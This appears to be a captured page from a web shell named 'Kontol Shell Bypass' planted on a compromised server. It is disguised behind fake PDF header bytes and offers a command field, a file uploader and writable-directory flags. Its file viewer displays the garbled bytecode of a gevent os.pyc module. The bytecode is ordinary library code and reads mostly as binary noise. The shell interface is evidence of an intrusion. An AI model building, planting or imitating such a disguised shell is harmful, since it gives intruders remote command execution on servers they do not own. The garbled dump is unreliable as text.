%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/gevent/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/gevent/__pycache__/os.cpython-39.pyc
a

�_g|P�@s�dZddlmZddlZddlmZddlmZddlm	Z	ddl
mZddlZe
edd	�ZzddlZWney~dZYn0d
gZddgZejZejZeejgZer�egd
�7Zdd�Zdd�Zdd�Zdd�Zdd�Zeed
��rhejZ dd�Z!dd
�Zeed��r0ej"Z#dd�Z$e$Z"e�%d�e�%d�eed��sHeed��rrddl&Z&ej'Z(ej)Z*dd�Z+iZ,d d!�Z-d8d#d$�Z.d%d&�Z'd9d(d)�Z/ddd'e!fd*d+�Z0e�%d+�e�%d�dev�r�ddd'e$fd,d-�Z1e�%d-�e	j2�sBd.d
�Zdev�r�d/d�Z"e�%d&�eed0��rfej3Z4ej5Z6d1d0�Z3d2d3�Z5e�%d0�e�%d3�n$d4d
�Zdev�r\d5d�Z"e�%d&�n
e�7d
�eee8�eed6d7�Z9e:e;ee��Z<dS):aQ
Low-level operating system functions from :mod:`os`.

Cooperative I/O
===============

This module provides cooperative versions of :func:`os.read` and
:func:`os.write`. These functions are *not* monkey-patched; you
must explicitly call them or monkey patch them yourself.

POSIX functions
---------------

On POSIX, non-blocking IO is available.

- :func:`nb_read`
- :func:`nb_write`
- :func:`make_nonblocking`

All Platforms
-------------

On non-POSIX platforms (e.g., Windows), non-blocking IO is not
available. On those platforms (and on POSIX), cooperative IO can
be done with the threadpool.

- :func:`tp_read`
- :func:`tp_write`

Child Processes
===============

The functions :func:`fork` and (on POSIX) :func:`forkpty` and :func:`waitpid` can be used
to manage child processes.

.. warning::

   Forking a process that uses greenlets does not eliminate all non-running
   greenlets. Any that were scheduled in the hub of the forking thread in the parent
   remain scheduled in the child; compare this to how normal threads operate. (This behaviour
   may change is a subsequent major release.)
�)�absolute_importN)�_get_hub_noargs)�reinit)�config)�copy_globals�EAGAIN��fork�tp_read�tp_write)�make_nonblocking�nb_read�nb_writecCs<t�|tjd�}t|tj@�s8t�|tj|tjB�dSdS)z�Put the file descriptor *fd* into non-blocking mode if
        possible.

        :return: A boolean value that evaluates to True if successful.
        rTN)�fcntlZF_GETFL�bool�os�
O_NONBLOCKZF_SETFL)�fd�flags�r�6/vddos/python/lib/python3.9/site-packages/gevent/os.pyrKsrc
Cs�d}d}z�z*t||�}|WW|dur4|��d}d}Styd}z|jtvrP�WYd}~n
d}~00|dur�t�}|j�|d�}|�|�q
W|dur�|��d}d}n|dur�|��d}d}0dS)a
        Read up to *n* bytes from file descriptor *fd*. Return a
        byte string containing the bytes read, which may be shorter than
        *n*. If end-of-file is reached, an empty string is returned.

        The descriptor must be in non-blocking mode.
        N�)	�_read�close�OSError�errno�ignored_errors�get_hub�loop�io�wait)r�n�hub�event�result�errrr
Vs4
	�
�r
c
Cs�d}d}z�z*t||�}|WW|dur4|��d}d}Styd}z|jtvrP�WYd}~n
d}~00|dur�t�}|j�|d�}|�|�q
W|dur�|��d}d}n|dur�|��d}d}0dS)z�
        Write some number of bytes from buffer *buf* to file
        descriptor *fd*. Return the number of bytes written, which may
        be less than the length of *buf*.

        The file descriptor must be in non-blocking mode.
        N�)	�_writerrrrrrrr )r�bufr"r#r$r%rrrrss4
	�
�rcCst�j�t||f�S)z�Read up to *n* bytes from file descriptor *fd*. Return a string
    containing the bytes read. If end-of-file is reached, an empty string
    is returned.

    Reading is done using the threadpool.
    )r�
threadpool�applyr)rr!rrrr
�scCst�j�t||f�S)z�Write bytes from buffer *buf* to file descriptor *fd*. Return the
    number of bytes written.

    Writing is done using the threadpool.
    )rr)r*r')rr(rrrr�scCst�}|st�|S)a�
        Forks the process using :func:`os.fork` and prepares the
        child process to continue using gevent before returning.

        .. note::

            The PID returned by this function may not be waitable with
            either the original :func:`os.waitpid` or this module's
            :func:`waitpid` and it may not generate SIGCHLD signals if
            libev child watchers are or ever have been in use. For
            example, the :mod:`gevent.subprocess` module uses libev
            child watchers (which parts of gevent use libev child
            watchers is subject to change at any time). Most
            applications should use :func:`fork_and_watch`, which is
            monkey-patched as the default replacement for
            :func:`os.fork` and implements the ``fork`` function of
            this module by default, unless the environment variable
            ``GEVENT_NOWAITPID`` is defined before this module is
            imported.

        .. versionadded:: 1.1b2
        )�	_raw_forkr)r$rrr�fork_gevent�sr,cCst�S)zL
        A wrapper for :func:`fork_gevent` for non-POSIX platforms.
        �r,rrrrr	�s�forkptycCst�\}}|st�||fS)a�
            Forks the process using :func:`os.forkpty` and prepares the
            child process to continue using gevent before returning.

            Returns a tuple (pid, master_fd). The `master_fd` is *not* put into
            non-blocking mode.

            Availability: Some Unix systems.

            .. seealso:: This function has the same limitations as :func:`fork_gevent`.

            .. versionadded:: 1.1b5
            )�_raw_forkptyr)�pidZ	master_fdrrr�forkpty_gevent�s
r1�WNOWAIT�WNOHANGcCsdS�Nrrrrr�<lambda>��r5cCsT|��z<|j|jt��ft|j<|r.||�t�t�W|��n
|��0dSr4)�stopr0�rstatus�time�_watched_children�_on_child_hook�_reap_childrenr)�watcher�callbackrrr�	_on_child�sr?�<cs:t��}||��fdd�t��D�}|D]
}t|=q*dS)Ncs*g|]"\}}t|t�r|d�kr|�qS)r&)�
isinstance�tuple)�.0r0�val�Zoldest_allowedrr�
<listcomp>s�z"_reap_children.<locals>.<listcomp>)r9r:�items)�timeout�nowZdeadr0rrErr<s
�r<c	Csb|dkr�|dkrPd}t��D]2\}}t|t�r|dusB|d|kr|}|d}q|dkr�|dkr�|dkr�t�}|j�dd��&}|�|�|j|j	fWd�S1s�0Yt
||�S|tv�rX|t@s�tt|t��rt|}t|t��rt|=|dd�SdSt|}|j�|d��}t��|�Wd�n1�sB0Y|j|j	fSt
||�S)a
            Wait for a child process to finish.

            If the child process was spawned using
            :func:`fork_and_watch`, then this function behaves
            cooperatively. If not, it *may* have race conditions; see
            :func:`fork_gevent` for more information.

            The arguments are as for the underlying
            :func:`os.waitpid`. Some combinations of *options* may not
            be supported cooperatively (as of 1.1 that includes
            WUNTRACED). Using a *pid* of 0 to request waiting on only processes
            from the current process group is not cooperative. A *pid* of -1
            to wait for any child is non-blocking, but may or may not
            require a trip around the event loop, depending on whether any children
            have already terminated but not been waited on.

            Availability: POSIX.

            .. versionadded:: 1.1b1
            .. versionchanged:: 1.2a1
               More cases are handled in a cooperative manner.
            r���Nr&F)rr)r:rGrArBrr�childr Zrpidr8�_waitpid�_WNOHANG)	r0�optionsZfinished_at�k�vr"r=r$Znew_watcherrrr�waitpids>!��
�

*

,
rQFcCs4|p
t�j}|j||d�}|t|<|�t||�dS)N)�ref)rrrKr:�startr?)r0r>rrRr=rrr�_watch_child�srTcCs|�}|rt||||�|S)a�
            Fork a child process and start a child watcher for it in the parent process.

            This call cooperates with :func:`waitpid` to enable cooperatively waiting
            for children to finish. When monkey-patching, these functions are patched in as
            :func:`os.fork` and :func:`os.waitpid`, respectively.

            In the child process, this function calls :func:`gevent.hub.reinit` before returning.

            Availability: POSIX.

            :keyword callback: If given, a callable that will be called with the child watcher
                when the child finishes.
            :keyword loop: The loop to start the watcher in. Defaults to the
                loop of the current hub.
            :keyword fork: The fork function. Defaults to :func:`the one defined in this
                module <gevent.os.fork_gevent>` (which automatically calls :func:`gevent.hub.reinit`).
                Pass the builtin :func:`os.fork` function if you do not need to
                initialize gevent in the child process.

            .. versionadded:: 1.1b1
            .. seealso::
                :func:`gevent.monkey.get_original` To access the builtin :func:`os.fork`.
            )rT)r>rrRr	r0rrr�fork_and_watch�srUcs(g���fdd�}t||||��dS)z�
                Like :func:`fork_and_watch`, except using :func:`forkpty_gevent`.

                Availability: Some Unix systems.

                .. versionadded:: 1.1b5
                cs��}��|�|dS)Nr)�append)Z
pid_and_fd�r.r$rr�_fork�s
z forkpty_and_watch.<locals>._forkr�rU)r>rrRr.rXrrWr�forkpty_and_watch�srZcOst|i|��S)a�
                Forks a child process and starts a child watcher for it in the
                parent process so that ``waitpid`` and SIGCHLD work as expected.

                This implementation of ``fork`` is a wrapper for :func:`fork_and_watch`
                when the environment variable ``GEVENT_NOWAITPID`` is *not* defined.
                This is the default and should be used by most applications.

                .. versionchanged:: 1.1b2
                rY��args�kwargsrrrr	�scOst|i|��S)a�
                    Like :func:`fork`, but using :func:`forkpty_gevent`.

                    This implementation of ``forkpty`` is a wrapper for :func:`forkpty_and_watch`
                    when the environment variable ``GEVENT_NOWAITPID`` is *not* defined.
                    This is the default and should be used by most applications.

                    .. versionadded:: 1.1b5
                    )rZr[rrrr.�s�posix_spawncOst|i|��}t|�|Sr4)�_raw_posix_spawnrT�r\r]r0rrrr^�scOst|i|��}t|�|Sr4)�_raw_posix_spawnprTr`rrr�posix_spawnp�srbcCst�S)a�
                Forks a child process, initializes gevent in the child,
                but *does not* prepare the parent to wait for the child or receive SIGCHLD.

                This implementation of ``fork`` is a wrapper for :func:`fork_gevent`
                when the environment variable ``GEVENT_NOWAITPID`` *is* defined.
                This is not recommended for most applications.
                r-rrrrr	�s	cCst�S)a~
                    Like :func:`fork`, but using :func:`os.forkpty`

                    This implementation of ``forkpty`` is a wrapper for :func:`forkpty_gevent`
                    when the environment variable ``GEVENT_NOWAITPID`` *is* defined.
                    This is not recommended for most applications.

                    .. versionadded:: 1.1b5
                    )r1rrrrr.s
r)Znames_to_ignoreZdunder_names_to_keep)r@)NNF)=�__doc__�
__future__rrZ
gevent.hubrrrZgevent._configrZgevent._utilrr�getattrrr�ImportErrorZ__implements__Z__extensions__�readr�writer'ZEINTRrrr
rr
r�hasattrr	r+r,r.r/r1rVr9rQrLr3rMr;r:r?r<rTrUrZZdisable_watch_childrenr^r_rbra�remove�globalsZ__imports__�list�set�__all__rrrr�<module>s�+


	


p









�

Kontol Shell Bypass